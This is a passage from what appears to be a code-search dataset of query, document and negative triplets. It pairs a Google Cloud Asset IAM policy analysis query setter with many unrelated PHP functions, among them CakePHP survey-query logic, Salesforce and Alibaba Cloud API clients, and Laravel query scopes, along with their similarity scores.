$this->Query->getInsertId();\n\t\t\t\t$querySource->commit();\n\t\t\t\t$this->Query->QueryHistory->create();\n\t\t\t\t$this->Query->QueryHistory->save(array('QueryHistory' => array(\n\t\t\t\t\t'query_id' => $query_id,\n\t\t\t\t\t'item_id' => $project['Project']['id'],\n\t\t\t\t\t'item_type' => TYPE_SURVEY,\n\t\t\t\t\t'type' => 'created',\n\t\t\t\t\t'total' => $total\n\t\t\t\t)));\n\t\t\t\t\n\t\t\t\t// this is a query filter\n\t\t\t\tif (!is_null($quota)) {\n\t\t\t\t\t$this->QueryStatistic->create();\n\t\t\t\t\t$this->QueryStatistic->save(array('QueryStatistic' => array(\n\t\t\t\t\t\t'query_id' => $query_id,\n\t\t\t\t\t\t'quota' => $quota['NumberOfRespondents'],\n\t\t\t\t\t)));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->ProjectLog->create();\n\t\t\t\t$this->ProjectLog->save(array('ProjectLog' => array(\n\t\t\t\t\t'project_id' => $project['Project']['id'],\n\t\t\t\t\t'type' => 'query.created',\n\t\t\t\t\t'description' => 'Query.id '. $query_id . ' created'\n\t\t\t\t)));\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t// If this query was already sent, then run this new query too\n\t\t\t\tif (isset($survey_users) && !empty($survey_users)) {\n\t\t\t\t\t$this->Query->bindModel(array('hasOne' => array('QueryStatistic')));\n\t\t\t\t\t$query = $this->Query->find('first', array(\n\t\t\t\t\t\t'contain' => array(\n\t\t\t\t\t\t\t'QueryStatistic'\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t\t'Query.id' => $query_id,\n\t\t\t\t\t\t)\n\t\t\t\t\t));\n\t\t\t\t\t\n\t\t\t\t\t// don't full launch if its a sampling project\n\t\t\t\t\tif ($project['Project']['status'] == PROJECT_STATUS_SAMPLING) {\n\t\t\t\t\t\t$setting = $this->Setting->find('first', array(\n\t\t\t\t\t\t\t'conditions' => array(\n\t\t\t\t\t\t\t\t'Setting.name' => 'fulcrum.sample_size',\n\t\t\t\t\t\t\t\t'Setting.deleted' => false\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t));\n\t\t\t\t\t\tif (!$setting) { // set the default if not found.\n\t\t\t\t\t\t\t$setting = array('Setting' => array('value' => 50));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$survey_reach = ($total < $setting['Setting']['value']) ? $total : $setting['Setting']['value'];\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$survey_reach = MintVine::query_amount($project, $total, $query);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ($survey_reach == 0) {\n\t\t\t\t\t\t$message = 'Skipped ' . $project['Project']['id'] . ' because query has no quota left';\n\t\t\t\t\t\techo $message . \"\\n\";\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($survey_reach > 1000) {\n\t\t\t\t\t\t$survey_reach = 1000;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$queryHistorySource = $this->Query->QueryHistory->getDataSource();\n\t\t\t\t\t$queryHistorySource->begin();\n\t\t\t\t\t$this->Query->QueryHistory->create();\n\t\t\t\t\t$this->Query->QueryHistory->save(array('QueryHistory' => array(\n\t\t\t\t\t\t'query_id' => $query['Query']['id'],\n\t\t\t\t\t\t'item_id' => $query['Query']['survey_id'],\n\t\t\t\t\t\t'item_type' => TYPE_SURVEY,\n\t\t\t\t\t\t'count' => null,\n\t\t\t\t\t\t'total' => null,\n\t\t\t\t\t\t'type' => 'sending'\n\t\t\t\t\t)));\n\t\t\t\t\t$query_history_id = $this->Query->QueryHistory->getInsertId();\n\t\t\t\t\t$queryHistorySource->commit();\n\t\t\t\t\t$query = ROOT . '/app/Console/cake query create_queries ' . $query['Query']['survey_id'] . ' ' . $query['Query']['id'] . ' ' . $query_history_id . ' ' . $survey_reach;\n\t\t\t\t\tCakeLog::write('query_commands', $query);\n\t\t\t\t\t// run these synchronously\n\t\t\t\t\texec($query, $output);\n\t\t\t\t\tvar_dump($output);\n\t\t\t\t\t$message = 'Query executed: ' . $query;\n\t\t\t\t\techo $message . \"\\n\";\n\t\t\t\t\t\n\t\t\t\t\t$this->ProjectLog->create();\n\t\t\t\t\t$this->ProjectLog->save(array('ProjectLog' => array(\n\t\t\t\t\t\t'project_id' => $project['Project']['id'],\n\t\t\t\t\t\t'type' => 'query.executed',\n\t\t\t\t\t\t'description' => 'Query.id ' . $query_id . ' executed. ' . $query\n\t\t\t\t\t)));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$querySource->commit();\n\t\t\t}\n\t\t\t\n\t\t\t$this->FedSurvey->create();\n\t\t\t$this->FedSurvey->save(array('FedSurvey' => array(\n\t\t\t\t'id' => $project['FedSurvey']['id'],\n\t\t\t\t'total' => $total\n\t\t\t)), true, array('total'));\n\t\t}\n\t\telse {\n\t\t\t// if its a filter query and parent has been changed, update the parent id\n\t\t\tif ($query['Query']['parent_id'] && $parent_query_id && $query['Query']['parent_id'] != $parent_query_id) {\n\t\t\t\t$this->Query->create();\n\t\t\t\t$this->Query->save(array('Query' => array(\n\t\t\t\t\t'id' => $query['Query']['id'],\n\t\t\t\t\t'parent_id' => $parent_query_id,\n\t\t\t\t)), true, array('parent_id'));\n\t\t\t}\n\t\t}\n\n\t\treturn $query_id;\n\t}", "public function query( $query ) {\n\n if( empty($this->access_token) || empty($this->instance_url) ) {\n return 'Login to Salesforce in order to make queries.';\n }\n\n $url = $this->instance_url . \"/services/data/v20.0/query?q=\" . urlencode($query);\n\n $curl = curl_init($url);\n curl_setopt($curl, CURLOPT_HEADER, false);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl, CURLOPT_HTTPHEADER,\n array(\"Authorization: OAuth \" . $this->access_token));\n\n $json_response = curl_exec($curl);\n curl_close($curl);\n\n $response = json_decode($json_response, true);\n\n return $response;\n }", "public function getAccessibilityAssessment()\n {\n return $this->accessibilityAssessment;\n }", "public function scopeQuery($query)\n {\n // $query->where();\n }", "public function scopePorAnno( $query, $anno=null ) {\n return $query;\n }", "public function describeCacheAnalysisReportListWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->days)) {\n $query['Days'] = $request->days;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReportList',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportListResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function scopeFilter($query)\n {\n $request = request();\n\n if ($request->has('clinic_type_id')) {\n $query->where('clinic_type_id', $request->clinic_type_id);\n }\n\n if ($request->has('sort_by')) {\n $column = $request->sort_by;\n $order = $request->has('order') ? $request->order : 'ASC';\n $query->orderBy($column, $order);\n }\n\n if ($request->has('search')) {\n $keyword = $request->search;\n $query->where('name', 'like', '%'.$keyword.'%')\n ->orWhereHas('clinicType', function ($query) use ($keyword) {\n $query->where('name', 'like', '%'.$keyword.'%');\n });\n }\n }", "function _recast_analysis_api_create($data) {\r\n //we will require all data items to be entered and as such, we will test them all here:\r\n $required_keys = array(\r\n 'username',\r\n 'title',\r\n 'collaboration',\r\n 'e_print',\r\n 'journal',\r\n 'doi',\r\n 'inspire_url',\r\n 'description',\r\n );\r\n \r\n foreach($required_keys as $key) {\r\n if(!array_key_exists($key, $data)) {\r\n return services_error('Missing recast analysis attribute ' . $key, 406);\r\n }\r\n }\r\n \r\n $x = field_info_field('field_analysis_collaboration');\r\n $collaborations = ($x['settings']['allowed_values']);\r\n \r\n if(!in_array($data['collaboration'], $collaborations)) {\r\n $collaborations = implode(',', $collaborations);\r\n return services_error('Invalid collaboration. Only valid collaborations are '. $collaborations, 406);\r\n }\r\n \r\n $usr = user_load_by_name($data['username']);\r\n if($usr === FALSE) {\r\n return services_error('Invalid user', 406);\r\n }\r\n \r\n //if we made it this far, we're golden! Time to create the analysis\r\n $node = new StdClass();\r\n $node->language = LANGUAGE_NONE;\r\n $node->type = 'analysis';\r\n $node->status = 1;\r\n $node->uid = $usr->uid;\r\n $node->title = $data['title'];\r\n $node->field_analysis_collaboration[$node->language][0]['value'] = $data['collaboration'];\r\n $node->field_analysis_journal[$node->language][0]['value'] = $data['journal'];\r\n $node->field_analysis_doi[$node->language][0]['value'] = $data['doi'];\r\n $node->field_analysis_ownership[$node->language][0]['value'] = 0;\r\n $node->field_analysis_owner[$node->language][0]['value'] = '';\r\n $node->field_analysis_inspire[$node->language][0]['url'] = $data['inspire_url'];\r\n $node->field_analysis_eprint[$node->language][0]['url'] = $data['e_print'];\r\n $node->field_analysis_description[$node->language][0]['value'] = $data['description'];\r\n node_save($node);\r\n drupal_add_http_header('URI', $base_url . '/api/recast-analysis/' . $node->uuid);\r\n return $node->uuid;\r\n }", "public function scopeApi($query)\n {\n /** @var User $user */\n $user = \\JWTAuth::parseToken()->authenticate();\n\n if (!$user) {\n throw new AccessDeniedHttpException();\n }\n\n $query->where($query->getModel()->table.'.active', 1);\n\n if (method_exists($query->getModel(), 'village')) {\n $query->where($query->getModel()->table.'.village_id', $user->village->id);\n }\n\n return $query;\n }", "function do_graphql_request($query, $operation_name = '', $variables = [])\n {\n }", "public function getResult()\n {\n if ( $this->analysisResult == null )\n {\n $this->analyze();\n }\n return $this->analysisResult;\n }", "protected function getAccuracyQuery()\n {\n return $this->accuracyQuery;\n }", "public function setQueryInsightsEnabled($var)\n {\n GPBUtil::checkBool($var);\n $this->query_insights_enabled = $var;\n\n return $this;\n }", "public function scopeCompany($query)\n {\n $query->where('company_id', auth()->user()->companyId());\n\n return $query;\n }", "public function createCacheAnalysisTaskWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'CreateCacheAnalysisTask',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return CreateCacheAnalysisTaskResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function setCriticalAnalysis(string $CriticalAnalysis): self\n {\n $this->CriticalAnalysis = $CriticalAnalysis;\n\n return $this;\n }", "public function getQuery()\n {\n return $this->readOneof(5);\n }", "public function getHttpQuery () {\n\t\t\tif($this->httpQuery) {\n\t\t\t\treturn $this->httpQuery;\n\t\t\t}\n\t\t\t\n\t\t\treturn 'No query initiated yet';\n\t\t}", "protected function getIconFarmQuery()\n {\n return $this->iconFarmQuery;\n }", "public function scopeWhereNotOrganization($query)\n {\n return $query->whereNull('organization_goal_id');\n }", "public function getIamPolicy()\n {\n return isset($this->iam_policy) ? $this->iam_policy : null;\n }", "public function queryRmsAlarmhistoryappstats($request)\n {\n $runtime = new RuntimeOptions([]);\n $headers = [];\n\n return $this->queryRmsAlarmhistoryappstatsEx($request, $headers, $runtime);\n }", "public function analysis() : void\n {\n $this->strategy->analysis();\n }", "public function scopeQuestionByChallengeId($query, $id) {\n return $query->where('challenge_id', $id);\n }", "public function setAnalysisKind($var)\n {\n GPBUtil::checkEnum($var, \\Grafeas\\V1\\NoteKind::class);\n $this->analysis_kind = $var;\n\n return $this;\n }", "public function scopeApp($query)\r\n {\r\n return $query->where('app_id', \\Auth::user()->app_id);\r\n }", "public function scopeApp($query)\r\n {\r\n return $query->where('app_id', \\Auth::user()->app_id);\r\n }", "public function scopeMeasured($query)\n {\n return $query->where('measured', '=', true);\n }", "public function getQueryAst()\n {\n return $this->query_ast;\n }", "public function explain( $query ) {\n return $this->client->rawCommand( 'FT.EXPLAIN', $this->searchQueryArgs( $query ) );\n }", "public function testComAdobeGraniteQueriesImplHcQueryLimitsHealthCheck()\n {\n $client = static::createClient();\n\n $path = '/system/console/configMgr/com.adobe.granite.queries.impl.hc.QueryLimitsHealthCheck';\n\n $crawler = $client->request('POST', $path);\n }", "public function getQuery()\n {\n return $this->readOneof(2);\n }", "public function scopeOfAuthenticatedUser($query)\n {\n $query->whereUserId(Auth::id());\n }", "private function _getOptimizedQuery($query)\n {\n $currentOptimizer = $this->getCurrentOptimizer();\n $currentOptimizer->setCanUseCachedFilter(false);\n return $currentOptimizer->applyOptimizer($query);\n }", "public function scopeConsolidatedAN($query, $c_an)\n {\n return $query->where('consolidated_an', '=', $c_an);\n }", "public function getQuery(){\n \n return $this->query;\n \n }", "public function scopeForOwner($query)\n {\n return $query;\n }", "public function setQuery($var)\n {\n GPBUtil::checkString($var, True);\n $this->query = $var;\n\n return $this;\n }", "public function setQuery($var)\n {\n GPBUtil::checkString($var, True);\n $this->query = $var;\n\n return $this;\n }", "public function queryValues() {\n $values = [\n 'agent_type'=>$this->agent->type,\n 'agent_id'=>$this->agent->id,\n 'role_id'=>$this->agent->roleId(),\n 'resource_type'=>$this->resource->type,\n 'resource_id'=>$this->resource->id,\n 'scope_id'=>$this->scope ? $this->scope->id : null,\n 'actions'=>'%'\n ];\n\n foreach($this->actions as $action) {\n $values['actions'] .= $action->id.'%';\n }\n\n return $values;\n }", "public function scopeScope($query)\n {\n $query->where($this->getTable().'.company_id', '=', auth()->user()->company()->id);\n\n return $query;\n }", "public function setQueryAst($var)\n {\n GPBUtil::checkString($var, True);\n $this->query_ast = $var;\n\n return $this;\n }", "protected function sendQuery($query) {\n if (!$this->servicesHealthStatus->getFetcherState()) {\n $this->messenger->addError(t('The fetcher services does not responding'));\n return [];\n }\n\n $fetcher_address = $this->servicesAddresses->getFetcherAddress();\n $response = $this->httpClient->post($fetcher_address . '/graphql', [\n 'headers' => [\n 'Content-Type' => 'application/json',\n ],\n 'body' => json_encode([\n 'query' => $query,\n ]),\n ]);\n\n return $response->getBody()->getContents();\n }", "public function results()\n {\n if(!(php_sapi_name() == 'cli-server'))\n return 403;\n\n if($this->request->server['REMOTE_ADDR'] != '127.0.0.1' && $this->request->server['REMOTE_ADDR'] != '::1')\n return 403;\n\n $matcher = new SurveyMatcher();\n $matcher->match((isset($this->request->get['limit']) ? $this->request->get['limit'] : null));\n }", "public function setQueryScope($var)\n {\n GPBUtil::checkEnum($var, \\Google\\Cloud\\Firestore\\Admin\\V1\\Index\\QueryScope::class);\n $this->query_scope = $var;\n\n return $this;\n }", "public function scopeSpam($query)\n {\n return $query->where('status', self::STATUS_SPAM);\n }", "protected function getQuery() {\n if (isset($this->view->query) && $this->view->query instanceof SearchApiQuery) {\n return $this->view->query;\n }\n throw new SearchApiException('No matching Search API Views query found in view.');\n }", "public function getSnapshotAnalysis()\n {\n return isset($this->snapshot_analysis) ? $this->snapshot_analysis : null;\n }", "private function signQuery($query)\n {\n $stringToSign = \"GET\\n$this->host\\n$this->requestURI\\n$query\";\n $signature = base64_encode(hash_hmac('sha256', $stringToSign, $this->AWSSecretKey, true));\n $signature = str_replace(\"%7E\", \"~\", rawurlencode($signature));\n \n return $signature;\n }", "public function setQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Dataplex\\V1\\SessionEvent\\QueryDetail::class);\n $this->writeOneof(5, $var);\n\n return $this;\n }", "private function getPersonalityInsightsQueryVariables()\n {\n $queryParams = [\n 'raw_scores' => $this->rawScores ? 'true' : 'false',\n 'consumption_preferences' => (string) $this->includeConsumption ? 'true' : 'false',\n 'version' => $this->version,\n ];\n\n return http_build_query($queryParams);\n }", "private function getSumoQuery() {\n $query = file_get_contents(__DIR__ . '/query.txt');\n $query = strtr($query, [\n '[site_realm]' => $this->profile->getSiteRealm(),\n '[site_short_name]' => $this->profile->getSiteShortName()\n ]);\n $query = trim(preg_replace('/\\s\\s+/', ' ', $query));\n $query = str_replace([\"\\n\", \"\\r\"], ' ', $query);\n if ($this->output->isVerbose()) {\n $this->output->writeln(\" > Debug: Sumologic query: {$query}\");\n }\n return $query;\n }", "public function scopeKnown($query){\n\n return $query->where('known', 1);\n\n }", "public function getQueryInsightsEnabled()\n {\n return $this->query_insights_enabled;\n }", "public function getStructuredQuery()\n {\n return $this->readOneof(1);\n }", "protected function updateNetworkTrafficAnalysisRequest($network_id, $update_network_traffic_analysis = null)\n {\n // verify the required parameter 'network_id' is set\n if ($network_id === null || (is_array($network_id) && count($network_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $network_id when calling updateNetworkTrafficAnalysis'\n );\n }\n\n $resourcePath = '/networks/{networkId}/trafficAnalysis';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n // path params\n if ($network_id !== null) {\n $resourcePath = str_replace(\n '{' . 'networkId' . '}',\n ObjectSerializer::toPathValue($network_id),\n $resourcePath\n );\n }\n\n // body params\n $_tempBody = null;\n if (isset($update_network_traffic_analysis)) {\n $_tempBody = $update_network_traffic_analysis;\n }\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n \n if($headers['Content-Type'] === 'application/json') {\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass) {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n // array has no __toString(), so we should encode it manually\n if(is_array($httpBody)) {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($httpBody));\n }\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('X-Cisco-Meraki-API-Key');\n if ($apiKey !== null) {\n $headers['X-Cisco-Meraki-API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'PUT',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }" ]
[ "0.8251437", "0.80308086", "0.7936706", "0.6959756", "0.50452256", "0.49510476", "0.49100557", "0.48962894", "0.48788133", "0.47337845", "0.47315827", "0.46889594", "0.4678087", "0.46122992", "0.45374814", "0.45346907", "0.44465786", "0.44439048", "0.43869373", "0.43351737", "0.4283748", "0.42657122", "0.4150143", "0.41136003", "0.40973538", "0.40942848", "0.40690705", "0.40639773", "0.4019562", "0.40013653", "0.39981592", "0.39948076", "0.39689374", "0.39612648", "0.3956436", "0.39371935", "0.39370486", "0.39301252", "0.3924949", "0.39083984", "0.38889197", "0.3882185", "0.38536063", "0.38505572", "0.38505325", "0.38238916", "0.38224855", "0.38189864", "0.38132125", "0.38095644", "0.38041246", "0.38027826", "0.38001096", "0.37998307", "0.37946576", "0.37928665", "0.37882218", "0.3778724", "0.37687546", "0.37518117", "0.37477574", "0.374527", "0.37175307", "0.36905476", "0.36880693", "0.36760527", "0.36723226", "0.36670923", "0.36599457", "0.36584905", "0.36584905", "0.36554945", "0.36504713", "0.36501798", "0.36471328", "0.36459613", "0.3637227", "0.36357373", "0.3632671", "0.36279368", "0.36226124", "0.3620173", "0.3620173", "0.3617411", "0.36171615", "0.36136", "0.36120325", "0.36053246", "0.36037806", "0.36023223", "0.3596465", "0.3587808", "0.35841978", "0.3577847", "0.35751733", "0.35724288", "0.35613173", "0.35581023", "0.3542496", "0.35348433" ]
0.5883232
4
Required. The request query. Generated from protobuf field .google.cloud.asset.v1p4beta1.IamPolicyAnalysisQuery analysis_query = 1 [(.google.api.field_behavior) = REQUIRED];
public function setAnalysisQuery($var) { GPBUtil::checkMessage($var, \Google\Cloud\Asset\V1p4beta1\IamPolicyAnalysisQuery::class); $this->analysis_query = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setIamPolicyAnalysisQuery($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1\\IamPolicyAnalysisQuery::class);\n $this->writeOneof(1, $var);\n\n return $this;\n }", "public function getIamPolicyAnalysisQuery()\n {\n return $this->readOneof(1);\n }", "function analyze_iam_policy_sample(string $analysisQueryScope): void\n{\n // Create a client.\n $assetServiceClient = new AssetServiceClient();\n\n // Prepare any non-scalar elements to be passed along with the request.\n $analysisQuery = (new IamPolicyAnalysisQuery())\n ->setScope($analysisQueryScope);\n\n // Call the API and handle any network failures.\n try {\n /** @var AnalyzeIamPolicyResponse $response */\n $response = $assetServiceClient->analyzeIamPolicy($analysisQuery);\n printf('Response data: %s' . PHP_EOL, $response->serializeToJsonString());\n } catch (ApiException $ex) {\n printf('Call failed with message: %s' . PHP_EOL, $ex->getMessage());\n }\n}", "public function getAnalysisQuery()\n {\n return isset($this->analysis_query) ? $this->analysis_query : null;\n }", "public function setAnalysis($analysis) {\n $this->request->setAnalysis($analysis);\n return $this;\n }", "public function describeCacheAnalysisReport($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->describeCacheAnalysisReportWithOptions($request, $runtime);\n }", "public function testAccessibilityAnalysisResource()\n {\n $mockAdminApi = new MockAdminApi();\n $mockAdminApi->asset(self::$UNIQUE_TEST_ID, ['accessibility_analysis' => true]);\n $lastRequest = $mockAdminApi->getMockHandler()->getLastRequest();\n\n self::assertRequestQueryStringSubset($lastRequest, ['accessibility_analysis' => '1']);\n }", "public function analyze($query) {\n \n $startTime = microtime(true);\n \n return array(\n 'query' => $query,\n 'language' => $this->context->dictionary->language,\n 'analyze' => $this->process($query),\n 'processingTime' => microtime(true) - $startTime\n );\n \n }", "public function requestAnalysis() {\n $this->getTransaction()->tagAsAnalysisSent($this);\n }", "public function analysis()\n {\n return 'files.analysis.analysis';\n }", "public static function analysisName(string $project, string $location, string $conversation, string $analysis): string\n {\n return self::getPathTemplate('analysis')->render([\n 'project' => $project,\n 'location' => $location,\n 'conversation' => $conversation,\n 'analysis' => $analysis,\n ]);\n }", "public function getAnalysisKind()\n {\n return $this->analysis_kind;\n }", "public function getName()\n {\n return 'audience_analysis';\n }", "public function getQueryAnalysis()\n {\n foreach ($this->items as $item) {\n if ('query' == $item->getName()) {\n return $item;\n }\n }\n }", "public function analyzeAndBuildSummaryReport(DeveloperQuery $analysisQuery)\n {\n $providerReports = [];\n foreach ($analysisQuery->getDeveloperIds() as $providerName => $developerId) {\n /** @var DeveloperProviderInterface $provider */\n if ($provider = $this->providerRegistry->get($providerName)) {\n $providerReports[$providerName] = $provider->analyzeAndBuildSummaryReport($developerId);\n }\n }\n\n $summaryEssence = $this->essenceResolver->resolve($providerReports);\n $summaryReport = new SummaryReport($summaryEssence, $providerReports);\n\n return $summaryReport;\n }", "public function describeCacheAnalysisReportWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->analysisType)) {\n $query['AnalysisType'] = $request->analysisType;\n }\n if (!Utils::isUnset($request->date)) {\n $query['Date'] = $request->date;\n }\n if (!Utils::isUnset($request->instanceId)) {\n $query['InstanceId'] = $request->instanceId;\n }\n if (!Utils::isUnset($request->nodeId)) {\n $query['NodeId'] = $request->nodeId;\n }\n if (!Utils::isUnset($request->ownerAccount)) {\n $query['OwnerAccount'] = $request->ownerAccount;\n }\n if (!Utils::isUnset($request->ownerId)) {\n $query['OwnerId'] = $request->ownerId;\n }\n if (!Utils::isUnset($request->pageNumbers)) {\n $query['PageNumbers'] = $request->pageNumbers;\n }\n if (!Utils::isUnset($request->pageSize)) {\n $query['PageSize'] = $request->pageSize;\n }\n if (!Utils::isUnset($request->resourceOwnerAccount)) {\n $query['ResourceOwnerAccount'] = $request->resourceOwnerAccount;\n }\n if (!Utils::isUnset($request->resourceOwnerId)) {\n $query['ResourceOwnerId'] = $request->resourceOwnerId;\n }\n if (!Utils::isUnset($request->securityToken)) {\n $query['SecurityToken'] = $request->securityToken;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'DescribeCacheAnalysisReport',\n 'version' => '2015-01-01',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return DescribeCacheAnalysisReportResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "public function createCacheAnalysisTask($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->createCacheAnalysisTaskWithOptions($request, $runtime);\n }", "public function describeCacheAnalysisReportList($request)\n {\n $runtime = new RuntimeOptions([]);\n\n return $this->describeCacheAnalysisReportListWithOptions($request, $runtime);\n }", "public function setOptions($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Asset\\V1p4beta1\\AnalyzeIamPolicyRequest\\Options::class);\n $this->options = $var;\n\n return $this;\n }", "public function getType(): string\n {\n return Client::QUERY_ANALYSIS_FIELD;\n }", "public function getSubscriptionQueryRequest()\n {\n return $this->readOneof(3);\n }", "public function getAnalysisUrl() {\n return;\n }", "function callSample(): void\n{\n $analysisQueryScope = '[SCOPE]';\n\n analyze_iam_policy_sample($analysisQueryScope);\n}", "public function actionAnalysis() { \r\n \t$currentTs = time();\r\n \t$request = Yii::$app->request;\r\n \t$identity = \\Yii::$app->user->getIdentity();\r\n \r\n \t$q = trim($request->post('q', $request->get('q', '')));\r\n \r\n \t$query = analysis::find();\r\n \t$query->orderBy(['id'=>SORT_ASC]);\r\n \r\n \t \r\n \t$op = $request->post('op', $request->get('opss', ''));\r\n \tif ($op == \"search\") {\r\n \t if (!empty($_REQUEST['type'])){\r\n \t\t\t$type = $_REQUEST['type'];\r\n \t\t\tif($type != 0){\r\n \t\t\t\t$queryf = pond::find();\r\n \t\t\t\t$queryf->andWhere(['type'=> $type]);\r\n \t\t\t\t$pondf = $queryf->all();\r\n \t\t\t\tforeach ($pondf as $obj){\r\n \t\t\t\t\t$arrId[] = $obj->id;\r\n \t\t\t\t}\r\n \t\t\t\t \r\n \t\t\t\tif($arrId){\r\n \t\t\t\t\t$query->andWhere(['pondId'=> $arrId]);\r\n \t\t\t\t}\r\n \t\t\t}\r\n \t\t}\r\n \t\t \r\n \t\tif (!empty($_REQUEST['q'])){\r\n \t\t\t$item = $_REQUEST['q'];\r\n \t\t\t$query->andWhere(['LIKE' ,'title','%'.$item.'%', false]);\r\n \t\t}\r\n \t}\r\n\r\n \t\t\tif ($q)\r\n \t\t\t\t$query->andWhere(['LIKE' ,'name','%'.$q.'%', false]);\r\n \t\t\t\t\t\r\n \t\t\t\t\t\r\n \t\t\t\t//actions\r\n \t\t\t\tswitch ($request->post('op')){\r\n \t\t\t\t\tcase 'delete':\r\n \t\t\t\t\t\t$this->analysisDelete();\r\n \t\t\t\t\t\tbreak;\r\n \t\t\t\t}\r\n \t\t\t\t\t\r\n \t\t\t\t//paging\r\n \t\t\t\t$pagination = new Pagination([\r\n \t\t\t\t\t\t'defaultPageSize' => \\Yii::$app->params['ui']['defaultPageSize'],\r\n \t\t\t\t\t\t'totalCount' => $query->count(),\r\n \t\t\t\t]);\r\n \t\t\t\t$pagination->params = [\r\n 